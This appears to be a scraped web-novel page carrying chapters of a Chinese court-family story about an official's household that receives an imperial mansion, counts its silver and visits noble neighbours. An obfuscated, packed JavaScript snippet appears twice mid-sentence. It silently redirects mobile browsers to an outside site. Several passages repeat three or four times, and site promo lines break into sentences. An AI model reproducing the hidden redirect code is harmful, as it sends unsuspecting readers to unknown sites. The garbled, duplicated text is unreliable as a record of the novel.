“宋大人应该知道了本官和桓仁的关系,桓仁已经去了,难道就不能看在本官的面子上,给他一个体面吗?”曾仕棋几乎算得上是在恳求宋亭舟了,可见他与边大人确实是推心置腹的好友。 宋亭舟目光扫向他手里的卷宗,正了正自己脸色,语气凝重地问:“不论是生是死,犯了错便该受到律法的严惩。法不阿贵,刑无等级,曾大人任刑部侍郎这么多年,难道不知道这个道理吗?” 曾仕棋见他语气坚决,知道此事已经没有回旋的余地,眼神也从哀求变得冷硬起来,“宋大人刚正不阿,但愿不会遇到至亲好友与之决断的那一天!” 宋亭舟漠然拱手,“不劳曾大人惦念。” —— 边家的案子虽然了了,但常金花也不想再住进那座宅子里,她甚至提出了带阿砚通儿住在拾春巷,让孟晚陪宋亭舟住府衙去。 孟晚哭笑不得,说怎么也不至于分家。 寒冬腊月的,眼见着就要到小年了,既然一直没找到合适的宅子,还不如就稳稳当当的在拾春巷准备过年。等明年开春暖和了,再从顺天府附近找宅子,把目标降低一点,哪怕是三进的宅子也能挤挤住下。 许多年没在北方过年了,常金花早早的开始准备年货,她也是太悠闲了,身边也没一个能说话的同龄人,天天走哪儿都把槿姑带上。 孟晚在院里清点年货的时候,朝廷的圣旨就到了。 他家半点准备也没有,孟晚急忙叫人将正门打开,家里厅堂的正中间也要摆上香案,点好香烛。自己则推着常金花回屋里换上他俩最值钱的贵重衣裳,要做好一丝不苟,穿戴整齐,方能显示对圣上的敬重。 幸好回京前特意从松韵书院里请教了几位先生,要不他还真做不来。饶是如此,孟晚仍在一个面上功夫还不到家的小宫侍眼里,见到了几分嘲讽。 皇上宣旨不是别的,而是不知道从哪儿打听到宋家买房买不到,正好借宋亭舟办边家案子有功的托辞,特意赏了一座宅子给他。 孟晚面露恭敬的带着常金花谢了恩,全程不敢露出一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374585|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其余表情。 “孟夫郎不必害怕,把圣旨好好收起来供奉,不可毁坏。”宣旨的宫侍好心提醒道。 孟晚招了招手,黄叶提了几个壵锦做得小荷包过来 ,弯着腰递给他。孟晚把其中最大的一个给了宣旨的宫侍,剩余小的都给其他人分了,独独漏了那个眼神不好使的。 “多谢公公关照,这点小东西,大家拿着玩,若是不嫌弃诸位有空可随时到宋家来喝盏热茶。” “万万不可,这……孟夫郎实在是客气了。”宫侍推脱几下,便把荷包收入怀中,带领众人告退。 刚走出拾春巷,没收到荷包的小太监便迫不及待的告状,“喜公公……” “住嘴吧你,没眼色的东西,下次不许再跟我出来。”喜公公翻了个白眼怒斥。 其余宫侍你看看我,我看看你,都不约而同的将荷包拿出来偷偷看。 “呀,我说怎么这么小,竟然是一锭金子!” “这一块少说也有五两,你这都嫌小?” “都说了以为是银子了。” “银子五两也不少了啊?” “你们看这荷包上头是什么绣法?怎么从没见过?” “好像不是绣的,是织的,叫壵锦,我在贵妃娘娘处见过,说是岭南进贡的。” 难得出宫一次,宣旨的大太监由着他们叽叽喳喳,等回了宫免不了又是框框架架的规矩。 他把伸进袖兜里,捏了捏里面的荷包,在壵锦独特的纹路下,是棱角坚硬的块状物,起码也有十五两。 这个孟夫郎,真是个妙人。 ,弯着腰递给他。孟晚把其中最大的一个给了宣旨的宫侍,剩余小的都给其他人分了,独独漏了那个眼神不好使的。 “多谢公公关照,这点小东西,大家拿着玩,若是不嫌弃诸位有空可随时到宋家来喝盏热茶。” “万万不可,这……孟夫郎实在是客气了。”宫侍推脱几下,便把荷包收入怀中,带领众人告退。 刚走出拾春巷,没收到荷包的小太监便迫不及待的告状,“喜公公……” “住嘴吧你,没眼色的东西,下次不许再跟我出来。”喜公公翻了个白眼怒斥。 其余宫侍你看看我,我看看你,都不约而同的将荷包拿出来偷偷看。 “呀,我说怎么这么小,竟然是一锭金子!” “这一块少说也有五两,你这都嫌小?” “都说了以为是银子了。” “银子五两也不少了啊?” “你们看这荷包上头是什么绣法?怎么从没见过?” “好像不是绣的,是织的,叫壵锦,我在贵妃娘娘处见过,说是岭南进贡的。” 难得出宫一次,宣旨的大太监由着他们叽叽喳喳,等回了宫免不了又是框框架架的规矩。 他把伸进袖兜里,捏了捏里面的荷包,在壵锦独特的纹路下,是棱角坚硬的块状物,起码也有十五两。 这个孟夫郎,真是个妙人。 ,弯着腰递给他。孟晚把其中最大的一个给了宣旨的宫侍,剩余小的都给其他人分了,独独漏了那个眼神不好使的。 “多谢公公关照,这点小东西,大家拿着玩,若是不嫌弃诸位有空可随时到宋家来喝盏热茶。” “万万不可,这……孟夫郎实在是客气了。”宫侍推脱几下,便把荷包收入怀中,带领众人告退。 刚走出拾春巷,没收到荷包的小太监便迫不及待的告状,“喜公公……” “住嘴吧你,没眼色的东西,下次不许再跟我出来。”喜公公翻了个白眼怒斥。 其余宫侍你看看我,我看看你,都不约而同的将荷包拿出来偷偷看。 “呀,我说怎么这么小,竟然是一锭金子!” “这一块少说也有五两,你这都嫌小?” “都说了以为是银子了。” “银子五两也不少了啊?” “你们看这荷包上头是什么绣法?怎么从没见过?” “好像不是绣的,是织的,叫壵锦,我在贵妃娘娘处见过,说是岭南进贡的。” 难得出宫一次,宣旨的大太监由着他们叽叽喳喳,等回了宫免不了又是框框架架的规矩。 他把伸进袖兜里,捏了捏里面的荷包,在壵锦独特的纹路下,是棱角坚硬的块状物,起码也有十五两。 这个孟夫郎,真是个妙人。 ,弯着腰递给他。孟晚把其中最大的一个给了宣旨的宫侍,剩余小的都给其他人分了,独独漏了那个眼神不好使的。 “多谢公公关照,这点小东西,大家拿着玩,若是不嫌弃诸位有空可随时到宋家来喝盏热茶。” “万万不可,这……孟夫郎实在是客气了。”宫侍推脱几下,便把荷包收入怀中,带领众人告退。 刚走出拾春巷,没收到荷包的小太监便迫不及待的告状,“喜公公……” “住嘴吧你,没眼色的东西,下次不许再跟我出来。”喜公公翻了个白眼怒斥。 其余宫侍你看看我,我看看你,都不约而同的将荷包拿出来偷偷看。 “呀,我说怎么这么小,竟然是一锭金子!” “这一块少说也有五两,你这都嫌小?” “都说了以为是银子了。” “银子五两也不少了啊?” “你们看这荷包上头是什么绣法?怎么从没见过?” “好像不是绣的,是织的,叫壵锦,我在贵妃娘娘处见过,说是岭南进贡的。” 难得出宫一次,宣旨的大太监由着他们叽叽喳喳,等回了宫免不了又是框框架架的规矩。 他把伸进袖兜里,捏了捏里面的荷包,在壵锦独特的纹路下,是棱角坚硬的块状物,起码也有十五两。 这个孟夫郎,真是个妙人。 第13章 清点 宋亭舟回来听说圣上恩赐了一套宅子的事,意外又不意外。边大人的事,他办的正得帝心。 孟晚这时候才反应过来,“把边二兴夫妻二人送来的人是……” 宋亭舟将食指抵在他唇上,“晚儿,不说。” 孟晚歪过头叼住他手指用牙齿磨了磨,然后才松开,“案子了了,郭婉贞就失踪了,是跑了还是被……” 话说到一半,他就被宋亭舟炙热的眼神给烫到了,俩人没吃晚饭,孟晚在卧房里吃了一夜的手指。 —— 郭婉贞拎着一包不知从何处得来的细软,藏在拉粪水的牛车上出了城,她不敢出城就租车,一直被拉到河边才敢从车上下来。 “答应给你的二百文,喏,收着吧。”郭婉贞把早就串好的铜板扔到板车前头,自己拎着包袱头也不回的往官道上跑。 离粪桶车散发的臭味越来越远,郭婉贞眼里满是决绝。丈夫已经**,就算不死也是废了,儿子只是个哥儿,带着也是累赘,自己找个富裕的村子讨生活,找个鳏夫嫁了最好,不能嫁她手里有钱一时半会也饿不死。 这么想着,她嘴角荡起一抹笑,下一刻突如其来的疼痛从脖颈处传来,强烈的窒息感让她脑海一片空白,头颅无力垂下,眼前闪过最后的画面就是半截带血的细剑,和嗅到的令人作呕的臭味。 矮瘦的女人全部身形都笼罩在粗布衣裳下面,细韧从郭婉贞脖颈处缓缓抽出,因为动作轻缓,所以血流的很慢,没有四溅到哪里都是,徒增不必要的麻烦。 很熟练的一套动作,冷血又干脆。 一个时辰后,这个女人出现在皇宫大内。 “都做干净了?”帝王威严的嗓音从御书房中响起。门口守门的宫侍常年弯腰,如今已经直不起来身子了,却还是尽忠尽责的守护帝王。 女**一身劲瘦的黑衣,“回陛下,已经死透了,但她剩下个孩子还在宋家。” “还要朕教你怎么做吗?” “属下明白了。” —— 小年当天的时候孟晚又开始搬家,这回儿他不光找了和尚,还找了道士,双管齐下择出来的好日子。 而且楚辞还提前带雪狼去宅子里连着逛了三天,确保万无一失后,又是一个冷得难熬的凌晨。 马车开到正 门,一家子由长到幼接连跨过火盆,过了正门和门厅之后就是一个道长行影壁,影壁西边是车马房和马厩,东边则是一进门和几间空房。 跨进一进门是一座花厅,有小桥流水的景观。过了花厅之后便是二进的院子,正中间是正厅,也是宴客厅,宴客厅左右各有一排厢房。 宴客厅有前后门,后门直通正院。正院暂定是宋亭舟和孟晚住的院子,院子里的空地比较多,一半花园,一半花厅的溪水也贯通此处,水景和花园连接在一起,春夏两季景色定然是生机勃勃,只可惜现在是秃的。 正院除了中间一排坐北朝南的正房外,东西两侧厢房中包含厨房库房和客房。 厢房与宴客厅相交的游廊处还各通一个院子,以后是要给楚辞和阿砚各分一个。 正房左右有两个耳房,耳房旁边是两个通往后院的院门。进去之后便是四进院,四进院的后正房便是常金花的住处,左右两间闺房,是小套房,也能截住两堵墙扩成两个小院子。 厢房没有正院大,能当成两排下人房,黄叶和槿姑住在有厨房的那一侧。另一边住的是朱颜几个丫鬟。 最后一进更窄小一些,也有一排房舍,东侧还有个通往胡同的东侧门。 这座宅子应该是许久没有住人了,四处都透着一股凉薄孤寂的气息。但内务府应该是派人来修缮过,房屋廊亭都是干净整洁的,连小径上的地砖都是新铺的。 岭南的房子长时间不住会发霉长菌子,北方的房子长期不住人则会没有人气。 这会儿厨房里的烟囱冒着烟,仆人们东奔西走的收拾行李,孟晚他们则都挤在后正房待着。 阿砚困坏了,通儿也没精神多少,那边雪生烧了地龙,还没等屋子里暖和起来,两孩子就直接躺在里屋的床上睡着了。 “怎么还躺床上睡了,炕不是烧热了吗?”常金花怕冻到他们,从行李中又翻出来一条厚被,刚要给两个孩子盖上就见里面露出了一条大白尾巴。 怪不得他们俩一个占了个边,感情雪狼在中间给他俩当毯子。 孟晚守在火盆旁边坐着,“没事的娘,一会让雪生把地龙烧热屋子里就暖和了,他俩火力旺,冻不到的。” 宋亭舟紧挨在他旁边,“娘,你也睡一会儿吧。” 常金花上了炕,“人老了也没那么多的觉,坐半天的马车这会儿早就清醒了。 ” 楚辞站在她身边为她把了把脉,手指轻划,“祖母身体还很硬朗。” 常金花慈爱的笑了,“谢谢小辞,你就在祖母这儿睡,阿寻就在祖母旁边的小院住着呢。” 提到阿寻,楚辞脸上有几分不自然,手里慌张的比划了两下就出去了。 “晚哥儿。”他走后常金花迫不及待的说。 孟晚知道她要说什么,立马保证道:“我知道的娘,小辞定是喜欢阿寻。可他的喜欢是几分?有没有决定后半生和人家共度,若是打算好了亲口过来找我,我立刻就去问阿寻的意思,商量妥当之后我亲自回西梧府苗家提亲。” 常金花十分纳闷,“不都是父母之命媒妁之言吗?当初你和大郎成亲也没这么费劲啊?” “咳。”孟晚轻咳一声,“还是要多问孩子意见的,不然好好的两个孩子,往后成了怨侣怎么办?” 常金花叮嘱道:“那你可上上心,万一小辞一天不来找你,别给孩子耽误年纪忒大了,眼见着过完年又长了一岁。” 孟晚忙不迭的点头,为了赶紧揭过话题,又说起他们新宅子的事。 “娘,这座宅子大不大,都是夫君在朝为官得陛下看中才被赏赐的。”孟晚语气中带着骄傲和得意。 常金花看看这儿,看看那儿,宅子确实大,但她心里没有一丝的归属感,当然拾春巷她住的也别扭,但好歹小,这里却太陌生了。“咱们大郎是有本事,但是这宅子有房契吗?不会咱们住住的还被收回去吧?” 孟晚笑了,“你安心住着吧娘,房契地契咱们都有,等天亮了我带你好好逛逛。” 他们说了两句常金花猛地想起正事来,“都什么时辰了?大郎是不是该去上朝了。” 今天早上有早朝,因为过节,所以不算是正经的朝会。宋亭舟看了眼外面的天色站起身来,“差不多了,娘,我先走了。” 他留住常金花和孟晚,没让他们起身,出去叫雪生陪同他出门去皇宫。 这座宅子位处霜华巷,不同于离顺天府较近的边家,霜华巷属于皇城外围第二圈的北城区,百姓叫二重城。 附近住得全是高官伯爵,一巷一户,再往南去一点正巧是被宋亭舟抓住把柄的承恩伯爵府,往西走一条街则是户部尚书蔻汶的宅子。 若说一重城住的是王府、国公府、侯府、公主 府等,二重城便是仅次于他们的权贵圈子,有钱都买不来。 因为离皇宫近,宋亭舟每天早上上朝再也不用早起。顺天府虽然位处三重城,但也属盛京城北,因此离霜华巷并不算特别远,比起相反方向的拾春巷,简直不要太方便。 孟晚也在常金花这里眯了一会儿,再睁眼的时候日头都升到头顶了,两个孩子还没醒,雪狼眨了眨眼睛在床上不敢动。 “好狼,一会给你煮两条猪肘吃。”孟晚拍拍它的头。 外头乱乱糟糟的,黄叶忙得一个人恨不得分成八段用。 孟晚重新洗漱了一下走出去,叫住小豆丁朱颜,“从岭南带来的东西都归置好了?” 朱颜个子小,人却还算稳重,“回夫郎,黄叶哥哥找人在收拾呢,拾春巷剩余的东西也都搬过来了,大部分都在规制,只有御赐的圣物我们都不敢动,在正院里放着。” “告诉桂诚和桂谦,把御赐的器物家具都摆到二进院的会客厅去,正院不留。”正院自己家住着,万一磕磕碰碰还是麻烦,总堆着放也浪费,摆到会客厅正好充门面。 朱颜领了吩咐小跑着往正院跑,孟晚溜溜达达逛到厨房里。 常金花对这样的庶务不通,也不乱管,今天小年,她和槿姑在厨房准备晚膳,见他过来递过去一盘子刚炸好的豆腐丸子,“睡到现在饿了吧?先吃点丸子垫垫,等晚上有大菜。” 孟晚端着盘子抽了双筷子夹丸子吃,炸的金黄蓬松的丸子里加了葱花和鸡蛋,因为是豆腐做的,咬下去半点不腻,他一小会儿的功夫就吃了半盘子。 他刚放下盘子,槿姑又端来一盘糕点,“夫郎尝尝这个,早上我在点心铺子里买的,叫什么金乳酥,刚出锅的时候有一股乳香味,我想着两位小公子可能爱吃,就买了一包。” 孟晚捏起一个,外面酥的掉渣渣,入口内馅绵软,确实有种浓郁的奶香味,“不错,明天再买点回来,阿寻没准也爱吃。” 从厨房混到饱出来,孟晚直奔正院的库房,他有许多贵重物品黄叶也不敢动。 “夫郎,您来了。”黄叶面上一喜。 孟晚端了碗金乳酥给他,“你先垫垫,库房都规整成什么样了?” 正院东面的一排厢房共四大间,孟晚交代全做库房用。现在里面外面都有人在进进出出,大到高至人腰际的黄花梨木箱,小到紫檀木制成的 各种形状木盒,一件件的被从车上卸下来,堆满了厢房前的空地。 黄叶接过孟晚手中的碗,不顾形象的三四口吃完了一块,剩下的给了年纪最小还在跟着忙活的朱砂和桂圆,“你们俩端去一边吃吧,这头车都卸完了,去厨房看看老夫人要不要人添火。” 他心疼两个小的年岁小,却忘了自己当初还小的时候,是怎么勇敢救母的。 孟晚笑着看他,“我家叶哥儿越来越有管家样子了,不错。” 黄叶腼腆的笑笑,然后把手中的四个账本拿给孟晚过目,“夫郎,你看看这些账本,刚才我又核对了一遍,从拾春巷过来,一样都没少。” 他家能收入库房的东西都是好东西,四本账册中一册是岭南收集的山菌土产和各种名贵药材。 二册是各类布料。 三册古董字画、文房四宝。 四册便是金、银、首饰和房契、地契。 茶盐糖收在厨房旁边的小仓库,厨房的事都由槿姑负责。成衣被褥收在常金花院里的小仓库,交给朱颜。正院这四本册子,便是孟晚打下的半壁江山。 四间厢房这会儿都在动作,其中第三间的古董字画有些黄叶不知道要不要留出一些挂出来,毕竟家里现在宅子大了,有些地方太光秃秃的也不好看。 另外就是第四间房的金银珠宝,最好让孟晚亲自过下眼。 孟晚先看了看古董字画,“这边这六张画和另几个花瓶放到二进的宴客厅,这两张我画的画,和这幅《雪山青莲图》挂到我和老爷的书房去。剩下的都搬进库房,等以后用了再去。” 黄叶在一旁提醒,“字画都要放到高处,外层的油纸仔细检查,若是破了再扯了重新包裹。” “行了,都是我的旧稿,没什么稀罕的,随我去看看这间屋子去。”孟晚叫黄叶陪他去第四间库房。 第四间库房是最大的一间,这会儿里面空空荡荡的,门口整整齐齐码着上百个箱子。 孟晚在小侍里头喊了两个,“枝繁、枝茂,松山、松樵你们四个过来。”规整字画的屋里跑出来两个小哥儿,搬东西的仆人里又走出两个小厮。 他们四个都是孟晚从钦州买来的仆从 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放银两的箱子一箱箱的往库房里面搬,最后其他库房都收拾完了,他们这边也没完事。孟晚把闲杂人都赶出去做事,留了几个老实的过来帮忙。 一直到日落黄昏,阿砚过来喊孟晚吃饭,所有金银才将将点完。 黄叶把手里新写的账本递给孟晚,“夫郎,共七十五箱白银和二十小箱的金子已经清点完,剩余珠宝首饰咱们饭后再点?” 孟晚揉了揉脖子,“别饭后了,明天再说吧,你把库房门都锁好,先去吃饭吧。” “嗯,你们俩去拿两个空箱子过来,准备点银。”孟晚喊了两个小侍后,又叫两个小厮一箱箱的往屋里搬银子。 空箱子拿回来,枝繁枝茂就在库房里蹲着将面前的两个箱子打开,里面是银灿灿的,满满一箱五十两一锭的银锭。 枝繁枝茂不约而同的看直了眼,他们一辈子也没见过这么多的银两。 黄叶拧眉训斥了一句,“别浪费夫郎的时间了,快点数。” 宋家的侍女和小侍都归黄叶管,他说完后枝繁和枝茂不再傻眼,忙着往空箱子里一盘一盘的搬银子。 “黄管家,我这一箱共有四盘银锭,每盘二十个,共……共……” “共四千两,好了松山你把数好的银两搬到最里面靠墙放,再重新贴上封条。”黄叶自己搬了个木箱放到门口临时充当桌子用,枝繁枝茂数完,他再仔细的抬臂记录。 放银两的箱子一箱箱的往库房里面搬,最后其他库房都收拾完了,他们这边也没完事。孟晚把闲杂人都赶出去做事,留了几个老实的过来帮忙。 一直到日落黄昏,阿砚过来喊孟晚吃饭,所有金银才将将点完。 黄叶把手里新写的账本递给孟晚,“夫郎,共七十五箱白银和二十小箱的金子已经清点完,剩余珠宝首饰咱们饭后再点?” 孟晚揉了揉脖子,“别饭后了,明天再说吧,你把库房门都锁好,先去吃饭吧。” “嗯,你们俩去拿两个空箱子过来,准备点银。”孟晚喊了两个小侍后,又叫两个小厮一箱箱的往屋里搬银子。 空箱子拿回来,枝繁枝茂就在库房里蹲着将面前的两个箱子打开,里面是银灿灿的,满满一箱五十两一锭的银锭。 枝繁枝茂不约而同的看直了眼,他们一辈子也没见过这么多的银两。 黄叶拧眉训斥了一句,“别浪费夫郎的时间了,快点数。” 宋家的侍女和小侍都归黄叶管,他说完后枝繁和枝茂不再傻眼,忙着往空箱子里一盘一盘的搬银子。 “黄管家,我这一箱共有四盘银锭,每盘二十个,共……共……” “共四千两,好了松山你把数好的银两搬到最里面靠墙放,再重新贴上封条。”黄叶自己搬了个木箱放到门口临时充当桌子用,枝繁枝茂数完,他再仔细的抬臂记录。 放银两的箱子一箱箱的往库房里面搬,最后其他库房都收拾完了,他们这边也没完事。孟晚把闲杂人都赶出去做事,留了几个老实的过来帮忙。 一直到日落黄昏,阿砚过来喊孟晚吃饭,所有金银才将将点完。 黄叶把手里新写的账本递给孟晚,“夫郎,共七十五箱白银和二十小箱的金子已经清点完,剩余珠宝首饰咱们饭后再点?” 孟晚揉了揉脖子,“别饭后了,明天再说吧,你把库房门都锁好,先去吃饭吧。” “嗯,你们俩去拿两个空箱子过来,准备点银。”孟晚喊了两个小侍后,又叫两个小厮一箱箱的往屋里搬银子。 空箱子拿回来,枝繁枝茂就在库房里蹲着将面前的两个箱子打开,里面是银灿灿的,满满一箱五十两一锭的银锭。 枝繁枝茂不约而同的看直了眼,他们一辈子也没见过这么多的银两。 黄叶拧眉训斥了一句,“别浪费夫郎的时间了,快点数。” 宋家的侍女和小侍都归黄叶管,他说完后枝繁和枝茂不再傻眼,忙着往空箱子里一盘一盘的搬银子。 “黄管家,我这一箱共有四盘银锭,每盘二十个,共……共……” “共四千两,好了松山你把数好的银两搬到最里面靠墙放,再重新贴上封条。”黄叶自己搬了个木箱放到门口临时充当桌子用,枝繁枝茂数完,他再仔细的抬臂记录。 放银两的箱子一箱箱的往库房里面搬,最后其他库房都收拾完了,他们这边也没完事。孟晚把闲杂人都赶出去做事,留了几个老实的过来帮忙。 一直到日落黄昏,阿砚过来喊孟晚吃饭,所有金银才将将点完。 黄叶把手里新写的账本递给孟晚,“夫郎,共七十五箱白银和二十小箱的金子已经清点完,剩余珠宝首饰咱们饭后再点?” 孟晚揉了揉脖子,“别饭后了,明天再说吧,你把库房门都锁好,先去吃饭吧。” 第14章 邻里 今日是齐盛三十二年十二月二十三,禹国小年。宋亭舟早朝就上了一小会儿,国君勉励朝官一番,宣布官员即日开始休沐,直到年后正月十八。 从皇宫出来后,宋亭舟回顺天府处理了后续事宜,自愿留守衙门值勤的文官和衙役再多给发些银子置办年货,便离开府衙与吴昭远和祝泽宁去酒楼相聚,午后才回家来。 这时候常金花的院里已经是饭香扑鼻了,孟晚是最后一个落座的,他忙了一下午,虽然都是下人在干活,他也没少亲自查验,弯腰驼背的累得脖子疼,净手落座的时候还在揉脖子。 宋亭舟抬手帮他按了按,“白日里做什么了?睡落枕了?” 孟晚瞪他,“我哪有一直睡觉,是去库房干活累的。” 宋亭舟忍俊不禁,“对不住夫郎,是我说得不对。” 一桌子人耳朵都支着呢,孟晚轻咳一声,“咳,也没什么,我想吃块猪肘肉。” 宋亭舟立即给他夹了一块炖得软烂的猪肘。 孟晚美滋滋的吃了,过了会儿碗里又多了两块,是楚辞和常金花给他夹得。 孟晚心里熨帖,这么多人惦记他,真好! 一扭头,他亲儿子吃的满嘴是油,一桌子四个鸡腿他自己就吃了俩,眼下还在不停的炫。 孟晚一脸嫌弃,肩膀挨着宋亭舟的,与他说小话,“昭远岳丈说了年后什么日子来没有,咱们快快准备束脩吧。” 宋亭舟给他舀了一碗菌菇汤,“安心,我和昭远提过了,他已经给他岳父送了信,那头也答应下来了。到时候不光咱们家,还有两家的孩子也想请郑先生教导。” “那就好,那就好。”孟晚舒心了。 第二天一早点剩下的首饰又没点上,孟晚合该去挨家拜访邻居了。离得远的不说,承恩伯爵府和户部尚书家相互邻里,是一定要去的,不然于理不合。 常金花是长辈,没有亲自上门的道理。孟晚和宋亭舟便让下人们提着礼品,率先登上了承恩伯爵府的大门。 将拜帖奉上,两人立即被请去花厅小坐,按理说伯府显富,几代累积下来好东西不少,孟晚去过的怀恩伯爵府便是富丽堂皇。可承恩伯爵府就有意思了,厅中挂得六幅字画中竟然有两幅赝品。 孟晚之所以知道,是因为其中一幅的真迹正好在他家,另一幅是他师父画的,压根就没流 你的朋友正在书荒,快去帮帮他吧 露出去。 他俩在厅内没等上一盏茶的功夫,便被分别请到前院和后院。伯爵府虽然也是五进,但明显规格比宋家要大,下人也多。 孟晚身边只带了四个小哥儿,黄叶和年龄正好的枝繁、枝茂,保护他安全的蚩羽也凑了个数。 主仆五人被侍女引到后宅主院的堂厅里,伯爵夫人齐氏打了厚厚的帘子出来迎人,恨不得眼睛还没瞄到孟晚身上,嘴巴就已经张开来夸人了。 “早就听说宋大人夫郎玉貌花容,今日一见竟还比传闻更胜三分。” 孟晚熟练的挂上一副客套的笑脸,“齐夫人客气了,昨日我们家刚搬过来,家里乱糟糟的,今日才登门拜访,还请齐夫人不要怪罪。” 齐夫人边把他往堂屋里引,边与她说着话,“夫郎说的哪里话,咱们往后都是邻里了,本该相互关照才是,你说是不是这个理?” 她话里的暗示明显太过,孟晚并不搭茬,只管闷头随她进屋,齐夫人见状脸上的笑意淡了淡。 后堂屋比前厅还要不济,摆放的都是些撑场面的东西,华而不实,花些银子就能买到,一件孤品、藏品也没有。 但排场摆的却很大,奴仆成群站在主家后面,桌椅器物一个比一个繁琐,玉制的香炉上头还嵌着金丝,桌子上也陆续摆上了各色糕点。 堂屋里已经来了好几位内眷,主座上坐着个年过六旬的老妇人,应当就是承恩伯爵府家的老夫人。她左边的位置空着,右边坐着一个和齐夫人年纪相仿的妇人,见孟晚进来,脸上挂上一抹僵硬的笑站起身来,“见过孟夫郎。” 孟晚大惊,“夫人这是做什么,该是我向你见礼才是。” 齐夫人拉他过去,“孟夫郎别怕,这是我大嫂孙氏,大哥身上无官无爵,本就是她该向你行礼。” 孟晚先匆匆对上首的伯爵府老夫人行了个礼,又急忙回了孙夫人一个,“不论别的,便是孙夫人本就比我年长,也该是我先问安才是。” 孙夫人难堪的脸色稍微缓和了些,上首的伯爵府老夫人也露出了抹真情实意的笑容,“真是个好孩子,改明儿宋家宴客了也给老身递张帖子来,听说你母亲寡母一人带大儿子,又一路供着宋大人科举读书,实属女子典范,老身也想见识一番。” 按理说搬家是大事,宋亭舟又是朝廷新贵,很多人都在暗自打听宋家的事,准备上门贺礼,却半点消息也 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 没探听到。 堂屋里烧了地龙炭盆的火又旺孟晚脱了外罩的白狐皮鹤氅递给黄叶。 孙夫人的目光不自觉追随在无一丝杂色的大氅上直到齐夫人轻咳了一声才回过神。 孟晚假装没看见他落座在齐夫人下首的座位上端端正正的坐着既不为伯爵府强装出来的排场而怯场又不会因为人家客气而沾沾自喜温煦中带着疏离的说道:“家里搬家本该宴请宾客的可家师才辞世不久实在不适合大办宴席晚辈与夫君商议一番便决定不大肆操办了。” 伯爵府老夫人一愣随口附和道:“原来是有家中长辈辞世那确实是应该的只是不知孟夫郎师从何处?” 齐夫人小声提醒 伯爵府老夫人眼中闪过一丝意外下一刻便耷拉下嘴角叹气“原来是项家的老姐姐啊我也曾听说了她辞世的消息真是可惜。” 孟晚安安静静的听着并未搭话。反倒是孙夫人意外的看了他一眼本来以为是乡下小哥儿没想到还有些来头。 和项家有关系……岂不是很有钱! 孙夫人眼前一亮看向孟晚的眼神更热烈了些“孟夫郎刚搬进新宅家里若是有什么缺得用得尽管开口。” 孟晚微微颔首道谢“多谢孙夫人惦念家里什么都不缺。” 妯娌齐夫人狠狠地瞪了孙夫人一眼看对方缩着脖子不吭声了才收回目光“孟夫郎别介意我大嫂向来热心肠没冒犯你才好。” 孟晚只觉得这妯娌俩有意思按理说承爵的都是大房这家反倒是二房袭了爵位这样一来本该是二房理亏现在亏心的却是大房。联系宋亭舟之前与他说的话想来是大房实在扶不起来吧。 承恩伯爵府贵为勋贵本该不必对孟晚这么谦虚但因为家里有把柄在宋亭舟手中只能从上到下都笑脸迎人。 孟晚与伯府上的三位女眷你来我往的打着机锋耗到宋亭舟那边派人来叫他才起身离去。 他走后孙夫人便迫不及待的责问齐夫人“刚才那么好的机会你怎么没和孟夫郎提你大哥的事?” 齐夫人冷笑“大嫂以为我不想说吗?孟夫郎说话滴水不漏话里话外都是客气生疏半点没把咱们伯爵府的势当回事。你当人家是你娘家的穷亲戚吗?随便提上两句伯爵府的名头就 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 巴巴的四处耀武扬威。” “你……你!”孙夫人没有妯娌的嘴巴厉害,你了半天也没有下茬。 伯爵府的老夫人冷声呵斥,“好了,客人刚走你们就这般吵闹,都是当家主母了,像什么样子。”她这话明着是在说两人,实际上伯爵府里当家做主的是齐夫人。 齐夫人内心冷呵一声,面上恭恭敬敬的告了罪,“是媳妇的错。” 若不是当初老伯爵临死前硬是力排众议为她夫君请封伯爵,她的好婆母是说什么都要让自己大儿子袭爵的。眼下明明是大伯哥惹了事,偏偏要她和爵爷出头露面的舍脸求人。 果然,伯爵府老夫人下一句话便是,“你大嫂虽然说的直白,却也不无道理,纵使孟夫郎不接,你也该往上使使劲,咱们一家子都是一体,你大哥真被问了罪,难不成二房能独善其身?” 齐夫人再不情愿也不能顶撞婆母,只能应承道:“儿媳知道了,会尽力想法子的。” —— 孟晚这边也在和宋亭舟说承恩伯爵府的事,“我看齐夫人是个聪明人,就是她家老夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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下人艰难开口,“老……老爷,顺天府尹宋大人和他夫郎登门拜访,这是拜帖,人在前厅等着呢。” “什么?宋大人来了,那你不早过来禀告?”蔻汶气也不生了,整了整衣冠就抬步往前院走。走到一半又回过神来问:“他夫郎也来了?” 小厮弱弱地点点头,他余光瞥到夫人好像又要开骂。 蔻汶看了看自家后院的夫人和姨娘,皱着眉琢磨了半天,还是叮嘱了一句,“夫人,有客人登门,你若是不想招待就让扇娘作陪。” 寇夫人眼神一厉,“我呸,她一个妾室也想踩我头上?赶紧滚回你房里去。” 扇娘柔柔弱弱地擦了擦眼角,“顺天府尹的夫郎是贵客,夫人尚在气头上,别因为家事迁怒了人家。婢妾……婢妾还是在一旁劝慰一二吧。” 蔻汶着急的很,随意应付了一句就走了。 过了会儿,孟晚坐在寇家后院的堂屋里和蔻汶的一妻一妾大眼瞪小眼。 “孟夫郎,要不要用些茶点?”扇娘拧着手里的帕子,尽力把视线上移,但对上孟晚的眸子后又耷拉了眼皮。 孟晚看着面前桌子上摆放的一盘子米糕,甚至才摆了四块,觉得寇家也……也很不简单……吧? 寇夫人瞪了她一眼,“孟夫郎若是想用还用你招呼?” 